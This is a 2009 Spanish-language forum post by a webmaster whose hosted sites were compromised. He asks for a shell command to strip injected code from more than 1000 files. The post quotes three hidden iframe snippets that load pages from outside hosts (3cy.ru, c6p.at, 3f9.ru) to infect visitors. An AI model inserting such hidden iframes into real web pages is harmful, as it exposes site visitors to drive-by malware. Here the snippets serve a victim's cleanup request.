Ver Mensaje Individual
  #1 (permalink)  
Antiguo 18/08/2009, 06:21
Avatar de el_javi
el_javi
 
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 8 meses
Puntos: 10
Reemplazar texto en múltiples archivos

Buenas tardes.

Os escribo porque estoy teniendo un problema en mi servidor.

Tengo el Hosting en una empresa de Estados Unidos 8MediaTemple) (no por gusto, sino porque está así antes de que yo entrase).

Google nos ha metido en su base de datos de "páginas malignas" (si entras desde Firefox3 en una de nuestras Webs www.tuimagenpersonal.com, sale mensaje y no deja entrar en la Web) y se puede ver más aquí:
http://www.google.com/safebrowsing/d...eprocursos.com y aquí http://www.google.com/safebrowsing/diagnostic?site=tuimagenpersonal.com

Entonces, revisando ficheros he visto que me han metido em más de 1000 ficheros un código HTML que es el código malicioso.

Dicho código es:
Código:
< iframe src="http://3cy.ru:8080/index.php" width=124 height=138 style="visibility: hidden"></iframe >
También tenems este oro código:
Código:
< iframe src="http://c6p.at:8080/ts/in.cgi?pepsi140" width=125 height=125 style="visibility: hidden" >< /iframe >
También
Código:
< iframe src="http://3f9.ru:8080/index.php" width=127 height=174 style="visibility: hidden" >< /iframe >
Y otros más.

Todos cumplen como patrón que se encuentran sin salto de líne ni nada después de la etiqueta <body> (aparentemente nunca en etiquetas body compuestas (<body style="......." ...>) siempre en etiquetas Body simples.

Conclusión:

1) Necesito eliminar todos estos códigos maliciosos pero no se qué comando puedo ejecutar para que me quite TODOS los IFRAMES (sea cual sea su URL, su ancho y alto (son diferentes entre unos y otros)
2) Después de esto debo notificar a Google que ya está limpio (por medio de de las herramientas para WebMasters, como se indica en enlace (http://www.google.com.uy/interstitia...enpersonal.com)) y así me eliminarán de sus listas negras.

¿Qué comando de Shell puedo usar para eliminar todos estos Iframes?

Espero vuestra contestación lo antes posible.

Un saludo.

Javier